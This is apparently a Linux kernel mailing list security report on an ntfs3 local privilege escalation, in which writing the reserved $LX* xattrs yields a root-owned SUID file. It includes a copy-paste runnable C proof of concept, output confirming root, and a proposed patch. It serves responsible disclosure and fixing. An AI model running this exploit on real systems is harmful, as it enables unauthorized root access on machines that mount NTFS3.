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Sat, 06 Jun 2026 03:55:14 -0700 (PDT) Precedence: bulk X-Mailing-List: linux-kernel@vger.kernel.org List-Id: List-Subscribe: List-Unsubscribe: MIME-Version: 1.0 From: sdj asj Date: Sat, 6 Jun 2026 18:57:01 +0800 X-Gm-Features: AVVi8CcmZpqE--sCqHVRF70CY1qNwXKrLbO0mu00aTXZ23ra1ArF8ybJunu60eM Message-ID: Subject: [SECURITY] ntfs3: direct $LX* xattr writes can create a root SUID file To: almaz.alexandrovich@paragon-software.com Cc: ntfs3@lists.linux.dev, linux-kernel@vger.kernel.org, security@kernel.org Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset="utf-8" Hello, Summary I found a syscall-reachable local privilege escalation in NTFS3. Affected tree: - reproduced on e8c2f9fda The bug is in the xattr write + inode reload path: 1. On e8c2f9fda, direct userspace writes to $LXUID/$LXGID/$LXMOD were accepted by ntfs_setxattr(). In the vulnerable tree, unknown names fall through to ntfs_set_ea(): 971 /* Deal with NTFS extended attribute. */ 972 err =3D ntfs_set_ea(inode, name, strlen(name), value, size, flags, 0, 973 NULL); There was no check blocking direct userspace writes to reserved $LX* xat= trs, so a file owner could write arbitrary $LXUID/$LXGID/$LXMOD values. 2. On inode reload, ntfs_get_wsl_perm() trusts those xattrs as authoritative uid/gid/mode metadata: 1037 if (ntfs_get_ea(inode, "$LXUID", sizeof("$LXUID") - 1, &value[0], 1038 sizeof(value[0]), &sz) =3D=3D sizeof(value[0]) && 1039 ntfs_get_ea(inode, "$LXGID", sizeof("$LXGID") - 1, &value[1], 1040 sizeof(value[1]), &sz) =3D=3D sizeof(value[1]) && 1041 ntfs_get_ea(inode, "$LXMOD", sizeof("$LXMOD") - 1, &value[2], 1042 sizeof(value[2]), &sz) =3D=3D sizeof(value[2])) { 1043 i_uid_write(inode, (uid_t)le32_to_cpu(value[0])); 1044 i_gid_write(inode, (gid_t)le32_to_cpu(value[1])); 1045 inode->i_mode =3D le32_to_cpu(value[2]); 3. That reload is reached from inode load in fs/ntfs3/inode.c: 373 case ATTR_EA_INFO: 380 inode->i_mode =3D mode; 381 ntfs_get_wsl_perm(inode); 382 mode =3D inode->i_mode; As a result, a file owner on a writable NTFS3 mount can set: - $LXUID =3D 0 - $LXGID =3D 0 - $LXMOD =3D S_IFREG | 04755 then force inode reload by remount/eviction and obtain a root-owned SUID fi= le. This does not require a malformed filesystem image. Normal syscalls only. PoC The core userspace trigger is just direct setxattr() on $LXUID/$LXGID/$LXMOD followed by inode reload. The following is copy/paste runnable on a vulnera= ble kernel if /mnt/ntfs3 is a writable NTFS3 mount: cat >/tmp/ntfs3_lxperm_poc.c <<'EOF' #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include static void die(const char *msg) { perror(msg); exit(1); } int main(void) { const char *target =3D "/mnt/ntfs3/lxperm_suid"; struct stat st; uint32_t uid =3D 0; uint32_t gid =3D 0; uint32_t mode =3D S_IFREG | 04755; int fd; unlink(target); fd =3D open(target, O_CREAT | O_WRONLY | O_TRUNC, 0755); if (fd < 0) die("open target"); if (write(fd, "#!/bin/sh\nid\n", 12) !=3D 12) die("write target"); if (fchown(fd, 1000, 1000)) die("fchown target"); if (fchmod(fd, 0755)) die("fchmod target"); close(fd); if (setgid(1000)) die("setgid"); if (setuid(1000)) die("setuid"); if (setxattr(target, "$LXUID", &uid, sizeof(uid), 0)) die("setxattr $LXUID"); if (setxattr(target, "$LXGID", &gid, sizeof(gid), 0)) die("setxattr $LXGID"); if (setxattr(target, "$LXMOD", &mode, sizeof(mode), 0)) die("setxattr $LXMOD"); printf("setxattr done, now remount the filesystem to force inode reload:\= n"); printf(" mount | grep ' /mnt/ntfs3 '\n"); printf(" umount /mnt/ntfs3 && mount -t ntfs3 /mnt/ntfs3\n"); printf("Then run:\n"); printf(" stat %s\n", target); printf(" %s\n", target); if (stat(target, &st)) die("stat target"); printf("before reload: uid=3D%u gid=3D%u mode=3D%04o\n", (unsigned)st.st_uid, (unsigned)st.st_gid, st.st_mode & 07777); return 0; } EOF gcc -O2 -Wall -Wextra -o /tmp/ntfs3_lxperm_poc /tmp/ntfs3_lxperm_poc.c /tmp/ntfs3_lxperm_poc After remount on the vulnerable tree, the success condition is: - stat shows uid=3D0 gid=3D0 mode=3D4755 for /mnt/ntfs3/lxperm_suid - executing the file as uid 1000 runs with euid 0 For reference, the original end-to-end PoC on the vulnerable tree produced: before attack: uid=3D1000 gid=3D1000 mode=3D0755 attacker uid=3D1000 euid=3D1000 setting $LX* xattrs after setxattr before reload: uid=3D1000 gid=3D1000 mode=3D0755 after remount: uid=3D0 gid=3D0 mode=3D4755 helper real_uid=3D1000 effective_uid=3D0 RESULT: confirmed - unprivileged $LX* xattrs produced a root SUID executa= ble Patch Proposed fix: [PATCH] ntfs3: reject direct userspace writes to reserved $LX* xattrs diff --git a/fs/ntfs3/xattr.c b/fs/ntfs3/xattr.c index 9eeac0ab2..0bc633025 100644 --- a/fs/ntfs3/xattr.c +++ b/fs/ntfs3/xattr.c @@ -851,6 +851,14 @@ static int ntfs_getxattr(const struct xattr_handler *handler, struct dentry *de, return err; } +static bool ntfs_is_reserved_lxattr(const char *name) +{ + return !strcmp(name, "$LXUID") || + !strcmp(name, "$LXGID") || + !strcmp(name, "$LXMOD") || + !strcmp(name, "$LXDEV"); +} + /* * ntfs_setxattr - inode_operations::setxattr */ @@ -955,6 +963,11 @@ static noinline int ntfs_setxattr(const struct xattr_handler *handler, goto out; } + if (ntfs_is_reserved_lxattr(name)) { + err =3D -EPERM; + goto out; + } + /* Deal with NTFS extended attribute. */ err =3D ntfs_set_ea(inode, name, strlen(name), value, size, flags, 0, NULL); This report was prepared with AI assistance, so I am treating it as public per Documentation/process/security-bugs.rst. Thanks, Zhen Yan